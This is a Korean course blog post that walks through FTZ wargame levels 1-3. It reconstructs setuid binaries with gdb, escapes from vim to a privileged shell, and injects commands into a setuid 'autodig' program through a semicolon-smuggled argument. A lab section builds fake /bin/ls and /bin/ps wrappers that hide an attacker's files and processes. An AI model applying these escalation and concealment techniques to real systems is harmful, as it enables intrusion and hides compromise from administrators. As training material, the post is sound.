041 33 21 ! 141 97 61 a

042 34 22 " 142 98 62 b

043 35 23 # 143 99 63 c

044 36 24 $ 144 100 64 d

045 37 25 % 145 101 65 e

046 38 26 & 146 102 66 f

047 39 27 ' 147 103 67 g

050 40 28 ( 150 104 68 h

051 41 29 ) 151 105 69 i

052 42 2A * 152 106 6A j

053 43 2B + 153 107 6B k

054 44 2C , 154 108 6C l

055 45 2D - 155 109 6D m

056 46 2E . 156 110 6E n

057 47 2F / 157 111 6F o

060 48 30 0 160 112 70 p

061 49 31 1 161 113 71 q

062 50 32 2 162 114 72 r

063 51 33 3 163 115 73 s

064 52 34 4 164 116 74 t

065 53 35 5 165 117 75 u

066 54 36 6 166 118 76 v

..... (중략) ....

 

[level7@ftz level7]$ /bin/level7

Insert The Password : mate

 

Congratulation! next password is "break the world".

 

 

 

 


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160708 리버싱  (0) 2016.07.08
20160707 리버싱  (0) 2016.07.07
20160705 리버싱  (0) 2016.07.05
20160704 리버싱  (0) 2016.07.04
20160701 프로젝트#2 피드백  (0) 2016.07.01
Posted by 22Hz
, |

■ 리버싱을 통한 의사 코드(가상 코드) 복원

의사코드(가상코드)란? 리버싱을 통해 원본 소스코드를 복원한 코드이다. 소스코드를 복원할 때 배열의 크기나 조건

문이 switch문으로 되어 있는지, if 문으로 되어 있는지에 대한 정확한 복원은 아니고 이런 부분에 대한 단순 복원

코드이다. 따라서 원본 코드와는 약간 다를수 있다.

    [참고] 어셈플리 언어에 대해서
    [참고] gdb 사용법

■ 프로그램 분석 방법(EX: 프로그램 실행시 분석 유무)
- 정적 분석
- 동적 분석

■ 프로그램 분석 방법(EX: 소스 코드 존재 유무)
- 블랙 박스 기법
- 화이트 박스 기법


[level1@ftz level1]$ gdb /bin/ExecuteMe

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048488 <main+0>:    push   %ebp        /* main 함수로 진입하기 전에 EBP(메모리 구조)의
                    주소를 스택에 저장 */
0x08048489 <main+1>:    mov    %esp,%ebp   /* 현재의 스택 포인터(ESP)를 스택의 베이스 포인
                    터(EBP)에 저장 */
0x0804848b <main+3>:    sub    $0x28,%esp        /* main() 함수에서 사용할 변수의 공간
0x0804848e <main+6>:    and    $0xfffffff0,%esp    을 확보 */
0x08048491 <main+9>:    mov    $0x0,%eax
0x08048496 <main+14>:   sub    %eax,%esp
0x08048498 <main+16>:   sub    $0xc,%esp
0x0804849b <main+19>:   push   $0x8048680
0x080484a0 <main+24>:   call   0x8048358 <system>    /* int system(const char *string); */
0x080484a5 <main+29>:   add    $0x10,%esp
0x080484a8 <main+32>:   sub    $0xc,%esp
0x080484ab <main+35>:   push   $0x804868f
0x080484b0 <main+40>:   call   0x8048378 <chdir>    /* int chdir(const char *path); */
0x080484b5 <main+45>:   add    $0x10,%esp
0x080484b8 <main+48>:   sub    $0xc,%esp
0x080484bb <main+51>:   push   $0x80486a0
0x080484c0 <main+56>:   call   0x80483a8 <printf>    /* int printf(const char *format,
                        ...); */
0x080484c5 <main+61>:   add    $0x10,%esp
0x080484c8 <main+64>:   sub    $0xc,%esp
0x080484cb <main+67>:   push   $0x80486e0
0x080484d0 <main+72>:   call   0x80483a8 <printf>
0x080484d5 <main+77>:   add    $0x10,%esp
0x080484d8 <main+80>:   sub    $0xc,%esp
0x080484db <main+83>:   push   $0x8048720
0x080484e0 <main+88>:   call   0x80483a8 <printf>
0x080484e5 <main+93>:   add    $0x10,%esp
0x080484e8 <main+96>:   sub    $0xc,%esp
0x080484eb <main+99>:   push   $0x8048760
0x080484f0 <main+104>:  call   0x80483a8 <printf>
---Type <return> to continue, or q <return> to quit---
0x080484f5 <main+109>:  add    $0x10,%esp
0x080484f8 <main+112>:  sub    $0xc,%esp
0x080484fb <main+115>:  push   $0x8048782
0x08048500 <main+120>:  call   0x80483a8 <printf>
0x08048505 <main+125>:  add    $0x10,%esp
0x08048508 <main+128>:  sub    $0x4,%esp
0x0804850b <main+131>:  pushl  0x8049948
0x08048511 <main+137>:  push   $0x1e    /* 0x1e = (10진수) 16 + 14 = 30 */
0x08048513 <main+139>:  lea    0xffffffd8(%ebp),%eax
0x08048516 <main+142>:  push   %eax
0x08048517 <main+143>:  call   0x8048368 <fgets>    /* char *fgets(char *s, int size,
                        FILE *stream); */
0x0804851c <main+148>:  add    $0x10,%esp
0x0804851f <main+151>:  lea    0xffffffd8(%ebp),%eax
0x08048522 <main+154>:  sub    $0x8,%esp
0x08048525 <main+157>:  push   $0x804879c
0x0804852a <main+162>:  push   %eax
0x0804852b <main+163>:  call   0x8048388 <strstr>    /* char *strstr(const char *haystack,
                        const char *needle); */
0x08048530 <main+168>:  add    $0x10,%esp
0x08048533 <main+171>:  test   %eax,%eax
0x08048535 <main+173>:  je     0x8048551 <main+201>
0x08048537 <main+175>:  sub    $0xc,%esp
0x0804853a <main+178>:  push   $0x80487c0
0x0804853f <main+183>:  call   0x80483a8 <printf>
0x08048544 <main+188>:  add    $0x10,%esp
0x08048547 <main+191>:  sub    $0xc,%esp
0x0804854a <main+194>:  push   $0x0
0x0804854c <main+196>:  call   0x80483c8 <exit>
0x08048551 <main+201>:  lea    0xffffffd8(%ebp),%eax
0x08048554 <main+204>:  sub    $0x8,%esp
0x08048557 <main+207>:  push   $0x80487e8
---Type <return> to continue, or q <return> to quit---
0x0804855c <main+212>:  push   %eax
0x0804855d <main+213>:  call   0x8048388 <strstr>
0x08048562 <main+218>:  add    $0x10,%esp
0x08048565 <main+221>:  test   %eax,%eax
0x08048567 <main+223>:  je     0x8048583 <main+251>
0x08048569 <main+225>:  sub    $0xc,%esp
0x0804856c <main+228>:  push   $0x8048800
0x08048571 <main+233>:  call   0x80483a8 <printf>
0x08048576 <main+238>:  add    $0x10,%esp
0x08048579 <main+241>:  sub    $0xc,%esp
0x0804857c <main+244>:  push   $0x0
0x0804857e <main+246>:  call   0x80483c8 <exit>
0x08048583 <main+251>:  sub    $0xc,%esp
0x08048586 <main+254>:  push   $0x8048826
0x0804858b <main+259>:  call   0x80483a8 <printf>
0x08048590 <main+264>:  add    $0x10,%esp
0x08048593 <main+267>:  sub    $0x8,%esp
0x08048596 <main+270>:  push   $0xbba    /* 0xbba = (10진수) 3002 */
0x0804859b <main+275>:  push   $0xbba    /* 0xbba = (10진수) 3002 */
0x080485a0 <main+280>:  call   0x80483b8 <setreuid>    /* int setreuid(uid_t ruid, uid_t
                        euid); */
0x080485a5 <main+285>:  add    $0x10,%esp
0x080485a8 <main+288>:  sub    $0xc,%esp
0x080485ab <main+291>:  lea    0xffffffd8(%ebp),%eax
0x080485ae <main+294>:  push   %eax
0x080485af <main+295>:  call   0x8048358 <system>
0x080485b4 <main+300>:  add    $0x10,%esp
0x080485b7 <main+303>:  leave
0x080485b8 <main+304>:  ret
0x080485b9 <main+305>:  nop
0x080485ba <main+306>:  nop
---Type <return> to continue, or q <return> to quit---
0x080485bb <main+307>:  nop
End of assembler dump.
(gdb) x/s 0x8048680
0x8048680 <_IO_stdin_used+28>:   "/usr/bin/clear"
(gdb) x/s 0x804868f
0x804868f <_IO_stdin_used+43>:   "/home/level2"
(gdb) x/s 0x80486e0
0x80486e0 <_IO_stdin_used+124>:  "\t\t한가지 실행시켜 드리겠습니다.\n"
(gdb) x/s 0x8048720
0x8048720 <_IO_stdin_used+188>:  "\t\t(단, my-pass 와 chmod는 제외)\n"
(gdb) x/s 0x8048760
0x8048760 <_IO_stdin_used+252>:  "\n\t\t어떤 명령을 실행시키겠습니까?\n"
(gdb) x/s 0x8048782
0x8048782 <_IO_stdin_used+286>:  "\n\n\t\t[level2@ftz level2]$ "
(gdb) x/s 0x8049948
0x8049948 <stdin@@GLIBC_2.0>:    ""
(gdb) x/s 0x804879c
0x804879c <_IO_stdin_used+312>:  "my-pass"
(gdb) x/s 0x80487c0
0x80487c0 <_IO_stdin_used+348>:  "\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"
(gdb) x/s 0x80487e8
0x80487e8 <_IO_stdin_used+388>:  "chmod"
(gdb) x/s 0x8048800
0x8048800 <_IO_stdin_used+412>:  "\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"
(gdb) x/s 0x8048826
0x8048826 <_IO_stdin_used+450>:  "\n\n"
(gdb) quit


■ 분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.
# vi ExecuteMe.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{

        char input[29];
        char denyMyPass[] = "my-pass";
        char denyChmod[] = "chmod";

        system("/usr/bin/clear");
        chdir("/home/level2");
        printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n");
        printf("\t\t한가지 실행시켜 드리겠습니다.\n");
        printf("\t\t(단, my-pass와 chmod는 제외)\n");
        printf("\t\t\t어떤 명령을 실행시키겠습니까?\n");
        printf("\n\n\t\t[level2@ftz level2]$ ");

        fgets(input, sizeof(input), stdin);

        if(strstr(input, denyMyPass) != NULL )
        {
                        printf("\n\tmy-pass 명령은 사용할 수 없습니다.\n\n");
                        exit(0);
        }

        if(strstr(input, denyChmod) != NULL )
        {
                        printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n");
                        exit(0);
        }
        printf("\n\n");

        setreuid(3002,3002);
        system(input);
}

-> 프로그램을 해석해 보자.
-> [참고] Remote Shell/Web Shell은 무엇인가?
    -> C언어의 system() 함수는 시스템에 명령을 실행할 때 사용하는 함수이다.
    -> Java , PHP, Perl, Python 등 대부분의 언어에도 비슷한 함수가 존재한다.

의사코드에서 알수 있는 정보
● ExecuteMe 프로그램 실행시 프롬프트는 printf 함수로 만들어 진것이다.
● system() 함수를 통해 stdin 입력된 명령어를 수행한다.




■ 원본 소스 코드

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {

        char cmd[30];
        system("/usr/bin/clear");
        chdir("/home/level2");
        printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n");
        printf("\t\t한가지 실행시켜 드리겠습니다.\n");
        printf("\t\t(단, my-pass 와 chmod는 제외)\n");
        printf("\n\t\t어떤 명령을 실행시키겠습니까?\n");
        printf("\n\n\t\t[level2@ftz level2]$ ");
        fgets(cmd, 30, stdin);
        if( strstr( cmd, "my-pass") != 0 ){
                printf("\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n");
                exit(0);
                }
        if( strstr( cmd, "chmod") != 0 ) {
                printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n");
                exit(0);
        }
        printf("\n\n");
        setreuid( 3002, 3002 );
        system(cmd);
}





[실습] 추가적인 실습

다음과 같은 소스 코드에 대한 디어셈블리 과정을 정리한다.
# vi test_main.c

main()
{

}





0x080482f4 <main+0>:    push   %ebp
0x080482f5 <main+1>:    mov    %esp,%ebp
0x080482f7 <main+3>:    sub    $0x8,%esp
0x080482fa <main+6>:    and    $0xfffffff0,%esp
0x080482fd <main+9>:    mov    $0x0,%eax
0x08048302 <main+14>:   sub    %eax,%esp
0x08048304 <main+16>:   leave
0x08048305 <main+17>:   ret
0x08048306 <main+18>:   nop
0x08048307 <main+19>:   nop


# vi test_main2.c

#include <stdio.h>

int main(void)
{

return 0;

}


0x080482f4 <main+0>:    push   %ebp
0x080482f5 <main+1>:    mov    %esp,%ebp
0x080482f7 <main+3>:    sub    $0x8,%esp
0x080482fa <main+6>:    and    $0xfffffff0,%esp
0x080482fd <main+9>:    mov    $0x0,%eax
0x08048302 <main+14>:   sub    %eax,%esp
0x08048304 <main+16>:   mov    $0x0,%eax
0x08048309 <main+21>:   leave
0x0804830a <main+22>:   ret
0x0804830b <main+23>:   nop




# vi test_main3.c

#include <stdio.h>

int main(void)
{

int a=10;

return 0;

}

0x080482f4 <main+0>:    push   %ebp
0x080482f5 <main+1>:    mov    %esp,%ebp
0x080482f7 <main+3>:    sub    $0x8,%esp
0x080482fa <main+6>:    and    $0xfffffff0,%esp
0x080482fd <main+9>:    mov    $0x0,%eax
0x08048302 <main+14>:   sub    %eax,%esp
0x08048304 <main+16>:   movl   $0xa,0xfffffffc(%ebp)
0x0804830b <main+23>:   mov    $0x0,%eax
0x08048310 <main+28>:   leave
0x08048311 <main+29>:   ret
0x08048312 <main+30>:   nop
0x08048313 <main+31>:   nop


# vi test_main4.c

#include <stdio.h>

int main(void)
{

int a=10;

printf("a: %d", a);

return 0;

}





0x08048328 <main+0>:    push   %ebp
0x08048329 <main+1>:    mov    %esp,%ebp
0x0804832b <main+3>:    sub    $0x8,%esp
0x0804832e <main+6>:    and    $0xfffffff0,%esp
0x08048331 <main+9>:    mov    $0x0,%eax
0x08048336 <main+14>:   sub    %eax,%esp
0x08048338 <main+16>:   movl   $0xa,0xfffffffc(%ebp)
0x0804833f <main+23>:   sub    $0x8,%esp
0x08048342 <main+26>:   pushl  0xfffffffc(%ebp)
0x08048345 <main+29>:   push   $0x8048408
0x0804834a <main+34>:   call   0x8048268 <printf>
0x0804834f <main+39>:   add    $0x10,%esp
0x08048352 <main+42>:   mov    $0x0,%eax
0x08048357 <main+47>:   leave
0x08048358 <main+48>:   ret
0x08048359 <main+49>:   nop
0x0804835a <main+50>:   nop
0x0804835b <main+51>:   nop



[실습] 위와 같은 C 언어 코드와 어셈블리 언어 코드 테이블을 만든다.(시간: 2시간)

[과제] gdb(디버거) 사용법에 대해서 조사한다.




(정리) 공격 방법과 관련 기술 정리

공격한 방법에 대한 순서 정리
● 힌트 정보 확인(# cat hint)
● 힌트 내용에 맞는 파일 검색(# find / -user level2 -perm -4000 2>/dev/null)
● 찾은 프로그램 실행(# /bin/ExecuteMe)-> 의사 코드 복원(GDB 사용)
● 찾은 프로그램의 버그 확인(다양한 방법)

관련된 기술 정리
● find 명령어 사용법
● 특수퍼미션(SetUID)의 개념
● 어셈블리에 대한 소개
● GDB 사용법에 대한 소개
● 백도어에 대한 개념




2
 Leve2 -> Leve3





단원의 목적
● 편집기 사용법


■ Level2 문제에 도전하기

level2 사용자로 로그인
-> ID/PASS: level2/hacker or cracker

[level2@ftz level2]$ ls -l

-rw-r--r--    1 root     root           60  3월 23  2000 hint
drwxr-xr-x    2 root     level2       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level2       4096  1월 16  2009 tmp


[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...



[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null

/usr/bin/editor


[level2@ftz level2]$ ls -l /usr/bin/editor

-rwsr-x---    1 level3   level2      11651  8월 19 12:58 /usr/bin/editor


[level2@ftz level2]$ which vi

alias vi='vim'
        /usr/bin/vim


[level2@ftz level2]$ ls -l /bin/vi

-rwxr-xr-x    1 root     root       456108  2월 12  2003 /bin/vi


[level2@ftz level2]$ ls -l /usr/bin/vim

-rwxr-xr-x    1 root     root      1893740  2월 12  2003 /usr/bin/vim


    [참고] 필요하면 명령어 수행
    # /bin/vi
    # /usr/bin/vim 


[level2@ftz level2]$ /usr/bin/editor

~
~
~
~                              VIM - Vi IMproved
~
~                               version 6.1.320
~                           by Bram Moolenaar et al.
~                 Vim is open source and freely distributable
~
~                        Help poor children in Uganda!
~                type  :help iccf<Enter>       for information
~
~                type  :q<Enter>               to exit
~                type  :help<Enter>  or  <F1>  for on-line help
~                type  :help version6<Enter>   for version info
~
~
~
:! id

uid=3003(level3) gid=3002(level2) groups=3002(level2)

Hit ENTER or type command to continue<ENTER>
:! bash


[level3@ftz level2]$ my-pass


Level3 Password is "can you fly?".



[level3@ftz level2]$ exit

exit

shell returned 37

Hit ENTER or type command to continue
<ENTER>
:q!


[level2@ftz level2]$ telnet localhost
level3/can you fly?

[level3@ftz level3]$ exit
[level2@ftz level2]$


[용어] 편집기 백도어




■ 리버싱을 통한 의사 코드 복원

[level2@ftz level2]$ gdb /usr/bin/editor

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048360 <main+0>:    push   %ebp
0x08048361 <main+1>:    mov    %esp,%ebp
0x08048363 <main+3>:    sub    $0x8,%esp
0x08048366 <main+6>:    and    $0xfffffff0,%esp
0x08048369 <main+9>:    mov    $0x0,%eax
0x0804836e <main+14>:   sub    %eax,%esp
0x08048370 <main+16>:   sub    $0x8,%esp
0x08048373 <main+19>:   push   $0xbbb    /* 0xbbb : (10진수) 3003 */
0x08048378 <main+24>:   push   $0xbbb    /* 0xbbb : (10진수) 3003 */
0x0804837d <main+29>:   call   0x80482a0 <setreuid> /* int setreuid(uid_t ruid, uid_t
                        euid); */
0x08048382 <main+34>:   add    $0x10,%esp
0x08048385 <main+37>:   sub    $0xc,%esp
0x08048388 <main+40>:   push   $0x8048444
0x0804838d <main+45>:   call   0x8048280 <system>
0x08048392 <main+50>:   add    $0x10,%esp
0x08048395 <main+53>:   leave
0x08048396 <main+54>:   ret
0x08048397 <main+55>:   nop
End of assembler dump.
(gdb) x/2x 0x8048444
0x8048444 <_IO_stdin_used+4>:   0x6e69622f      0x0069762f
(gdb) x/s 0x8048444
0x8048444 <_IO_stdin_used+4>:    "/bin/vi"
(gdb) quit


[참고] setreuid 함수에 대해서(Real UID/Effective UID)


분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.
# vi /usr/bin/editor.c

#include <stdio.h>

int main()
{

    setreuid(3003, 3003);
    system("/bin/vi");

}


의사코드를 통해 알수 있는 내용
● 편집기 백도어 프로그램


[참고] 기존 프로그램 대치하는 프로그램(쉘 스크립트)






Effective UID, Real UID & Effective GID, Real GID




■ setreuid() 함수

# export LANG=C
# man setreuid
NAME
       setreuid, setregid - set real and/or effective user or group ID

SYNOPSIS
       #include <sys/types.h>
       #include <unistd.h>

       int setreuid(uid_t ruid, uid_t euid);
       int setregid(gid_t rgid, gid_t egid);

DESCRIPTION
       setreuid  sets  real  and  effective  user  IDs of the current process.
       Unprivileged users may only set the real user ID to the real user ID or
       the  effective  user  ID, and may only set the effective user ID to the
       real user ID, the effective user ID or the saved user ID.

       Supplying a value of -1 for either the real or effective user ID forces
       the system to leave that ID unchanged.

       If  the  real user ID is set or the effective user ID is set to a value
       not equal to the previous real user ID, the saved user ID will  be  set
       to the new effective user ID.

       Completely  analogously, setregid sets real and effective group ID's of
       the current process, and all of the above holds with "group" instead of
       "user".



UID(User Identification)/EUID(Effective UID)
GID(Group Identification)/EGID(Effective GID)

Real UID : ==> # who am i  (!!! 내가 어떤 사용자로 로그인 했는가 !!!)
/etc/passwd (user01:x:500:500::/home/user01:/bin/bash)

Eeffective UID: ==> # id   or   # whoami  (!!! 현재 내가 누가인가 !!!)

(linux200)
[EX] UID/EUID 실습
# telnet localhost
user01 사용자로 로그인

$ who am i
$ id
$ whoami

$ su - user02
$ who am i
$ id
$ whoami

$ su - root
# who am i
# id
# whoami








기존의 프로그램을 대치하는 프로그램




■ 사용 시스템
- linux200





[실습1] /usr/bin/passwd 명령어를 대치하는 프로그램을 만들어 보자.

● (목적) 좋은 용도(EX: /usr/bin/passwd)
● /usr/bin/passwd 명령어를 사용할 때 누가(id CMD)/언제(data CMD) 실행했는지 별도의 로그 파일에 기록할 수 있

는가?

① /usr/bin/passwd 명령어를 대치할 프로그램 만들기
# vi /root/bin/passwd

#!/bin/bash

id >> /test/passwd.log
date >> /test/passwd.log
echo >> /test/passwd.log

/usr/bin/passwd.old $*         /* # mv /usr/bin/passwd /usr/bin/passwd.old */


# touch /test/passwd.log
# chmod 777 /test/passwd.log    /* 테스트용 퍼미션 */

# chmod 755 /root/bin/passwd

② /usr/bin/passwd 명령어를 새로 만들어진 프로그램으로 대치
# mv /usr/bin/passwd /usr/bin/passwd.old
# cp /root/bin/passwd /usr/bin/passwd

③ 정상적으로 동작하는지 테스트
# which passwd

/usr/bin/passwd


# passwd user01

Changing password for user user01.
New UNIX password: (user01)
BAD PASSWORD: it is based on a dictionary word
Retype new UNIX password: (user01)
passwd: all authentication tokens updated successfully.

-> 관리자의 암호 변경

# cat /test/passwd.log

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Tue Dec 23 11:20:39 KST 2014



(복원작업) !!!! 반드시 복원해야 한다.!!!!
# mv /usr/bin/passwd.old /usr/bin/passwd




[실습2] /bin/ls, /bin/ps 명령어를 대치하는 프로그램을 만들어 보자.

● (목적) 악의적인 용도(EX: /bin/ls)
● /bin/ls(Orignal program) ==== 교체 ====> /bin/ls(Hacker's program)# ls -> 내가 설치한 프로그램은 안보이도

록 설정-> 파일 이름: hacker_file
● /bin/ps(Orignal program) ==== 교체 ====> /bin/ps(Hacker's program)# ps -ef -> 자신이 띄운 프로세스는 안보

이도록 설정-> 프로세스 이름: hacker_process

[실습2-1] Fake ls 명령어 생성

① /bin/ls 명령어를 대신할 /root/bin/ls 명령어 만들기(Fake ls 명령어 생성)
# vi /root/bin/ls

#!/bin/bash

/bin/ls $* | grep -v hacker_file


# chmod 755 /root/bin/ls

② 테스트
# cd /test
# touch hacker_file
# /root/bin/ls

dir1
file1
passwd.log

-> hacker_file 파일이 보이는가?

# /bin/ls

dir1  file1  hacker_file  passwd.log

-> hacker_file 파일이 보이는가?

# /root/bin/ls -altr

-rw-r--r--  1 root root    0 Dec 22 12:28 file1
drwxr-xr-x  2 root root 4096 Dec 22 12:28 dir1
drwxr-xr-x 26 root root 4096 Dec 23 09:44 ..
-rw-r--r--  1 root root  118 Dec 23 11:20 passwd.log
drwxr-xr-x  3 root root 4096 Dec 23 11:29 .


# /root/bin/ls /root/bin/*.sh

/root/bin/add_userlist.sh
/root/bin/arp.sh
/root/bin/auto_ftp2.sh
/root/bin/auto_ftp.sh
/root/bin/auto_telnet_ftp.sh
/root/bin/banner_telnet.sh
/root/bin/bomb_exec.sh
/root/bin/bomb.sh
.... (중략) ....



    ■ /bin/ls(Orignal program) ==== 교체 ====> /root/bin/ls(Hacker's program)
    # cp /bin/ls /bin/ls.old
    # cp /root/bin/ls /bin/ls
    # vi /bin/ls
    /bin/ls.old $* | grep -v hacker_file

[실습 2-2] Fake ps 명령어 생성

① /bin/ps 명령어 대신할 /root/bin/ps 명령어 생성(Fake ps 명령어 생성)
[TERM1] 명령어1 터미널
# vi /root/bin/ps

#!/bin/bash

/bin/ps "$*" | egrep -v hacker_process


# chmod 755 /root/bin/ps

② 테스트를 위한 일반 프로세스 생성
# cd /test
# vi hacker_process

#!/bin/bash

sleep 86400


# chmod 755 hacker_process
# ./hacker_process

③ 테스트
[TERM2] 명령어2 터미널
# /root/bin/ps -ef | grep hacker_process
#
-> hacker_process 프로세스가 보이는가?

# /bin/ps -ef | grep hacker_process

root      6290  5983  0 11:36 pts/1    00:00:00 /bin/bash ./hacker_process

-> hacker_process 프로세스가 보이는가?

    ■ /bin/ps(Orignal program) ==== 교체 ====> /root/bin/ps(Hacker's program)
    # cp /bin/ps /bin/ps.old
    # cp /root/bin/ps /bin/ps
    # vi /bin/ps
    /bin/ps.old "$*" | egrep -v hacker_process









3
 Leve3 -> Leve4


단원의 목적
● system() 함수의 취약점



■ Level4 문제에 도전하기

level3 사용자로 로그인
-> ID/PASS: level3/can you fly?


[level3@ftz level3]$ ls -l

합계 12
-rw-r--r--    1 root     root          543 11월 26  2000 hint
drwxr-xr-x    2 root     level3       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level3       4096  1월 15  2009 tmp


[level3@ftz level3]$ cat hint

다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );      /* # dig @168.126.63.1 version.bind chaos txt */

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?


소스 코드를 통해 알수 있는 내용
● (예) # dig @168.126.63.1 version.bind chaos txt

    [참고] dig/host/nslookup 명령어 사용법



dig 명령어 사용법



Name Service Look Up CMD(s)
● nslookup CMD (# nslookup www.daum.net)
● host CMD     (# host www.daum.net)
● dig CMD      (# dig www.daum.net)


(linux200)

# man dig

NAME
       dig - DNS lookup utility

SYNOPSIS
       dig [@server] [-b address] [-c class] [-f filename]
           [-k filename] [-m] [-p port#] [-t type] [-x addr]
           [-y name:key] [-4] [-6] [name] [type] [class]
           [queryopt...]

       dig [-h]

       dig [global-queryopt...] [query...]

DESCRIPTION
       dig (domain information groper) is a flexible tool for
       interrogating DNS name servers. It performs DNS lookups
       and displays the answers that are returned from the name
       server(s) that were queried. Most DNS administrators use
       dig to troubleshoot DNS problems because of its
       flexibility, ease of use and clarity of output. Other
       lookup tools tend to have less functionality than dig.

       Although dig is normally used with command-line
       arguments, it also has a batch mode of operation for
       reading lookup requests from a file. A brief summary of
       its command-line arguments and options is printed when
       the -h option is given. Unlike earlier versions, the
       BIND 9 implementation of dig allows multiple lookups to
       be issued from the command line.

SIMPLE USAGE
       A typical invocation of dig looks like:

        dig @server name type

       where:

       server is the name or IP address of the name server to
              query. This can be an IPv4 address in
              dotted-decimal notation or an IPv6 address in
              colon-delimited notation. When the supplied
              server argument is a hostname, dig resolves that
              name before querying that name server. If no
              server argument is provided, dig consults
              /etc/resolv.conf and queries the name servers
              listed there. The reply from the name server that
              responds is displayed.

       name   is the name of the resource record that is to be
              looked up.

       type   indicates what type of query is required — ANY,
              A, MX, SIG, etc.  type can be any valid query
              type. If no type argument is supplied, dig will
              perform a lookup for an A record.


■ dig 명령어 사용 예
# dig @168.126.63.1 kornet.net ANY
# dig @168.126.63.1 example.com ANY
# dig @168.126.63.1 google.com ANY

# dig @168.126.63.1 kornet.net MX             /* kornet.net.   MX  10   mail.kornet.net */
# dig @168.126.63.1 kornet.net NS             /* kornet.net.   NS       ns.kornet.net   */ 
# dig @168.126.63.1 www.kornet.net A          /* ns.kornet.net A        211.216.50.150  */
# dig @168.126.63.1 211.216.50.150 PTR        /* 150           PTR      ns.kornet.net   */

# dig @168.126.63.1 version.bind chaos txt    /* version.bind  txt      "hello"         */







[level3@ftz level3]$ find / -name autodig 2>/dev/null

/bin/autodig


[level3@ftz level3]$ ls -l /bin/autodig

-rwsr-x---    1 level4   level3      12194  8월 19 12:58 /bin/autodig


[level3@ftz level3]$ find / -user level4 -perm -4000 2>/dev/null

/bin/autodig

[level3@ftz level3]$ /bin/autodig 168.126.63.1

; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42564
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "Cyber World Leader Kornet!"

;; AUTHORITY SECTION:
version.bind.           0       CH      NS      version.bind.

;; Query time: 20 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Thu Aug 21 22:02:45 2014
;; MSG SIZE  rcvd: 83


    ------------- /bin/autodig ----------------
        strcpy( cmd, "dig @" );
        strcat( cmd, argv[1] );
        strcat( cmd, " version.bind chaos txt");
        system( cmd );
    ------------- /bin/autodig ----------------
    # /bin/autodig 168.126.63.1
    # dig @168.126.63.1 version.bind chaos txt

[level3@ftz level3]$ dig @168.126.63.1 version.bind chaos txt

; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8087
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "Unknown"

;; AUTHORITY SECTION:
version.bind.           0       CH      NS      version.bind.

;; Query time: 31 msec
;; SERVER: 168.126.63.1#53(168.126.63.1)
;; WHEN: Thu Aug 21 22:03:36 2014
;; MSG SIZE  rcvd: 64




    ------------- /bin/autodig ----------------
        strcpy( cmd, "dig @" );
        strcat( cmd, argv[1] );
        strcat( cmd, " version.bind chaos txt");
        system( cmd );
    ------------- /bin/autodig ----------------
    # /bin/autodig "168.126.63.1 www.naver.com; id;"
    # dig @168.126.63.1 www.naver.com; id; version.bind chaos txt

[level3@ftz level3]$ /bin/autodig "168.126.63.1 www.naver.com; id;"

; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23453
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3

;; QUESTION SECTION:
;www.naver.com.                 IN      A

;; ANSWER SECTION:
www.naver.com.          0       IN      CNAME   www.naver.com.nheos.com.
www.naver.com.nheos.com. 165    IN      A       125.209.222.141
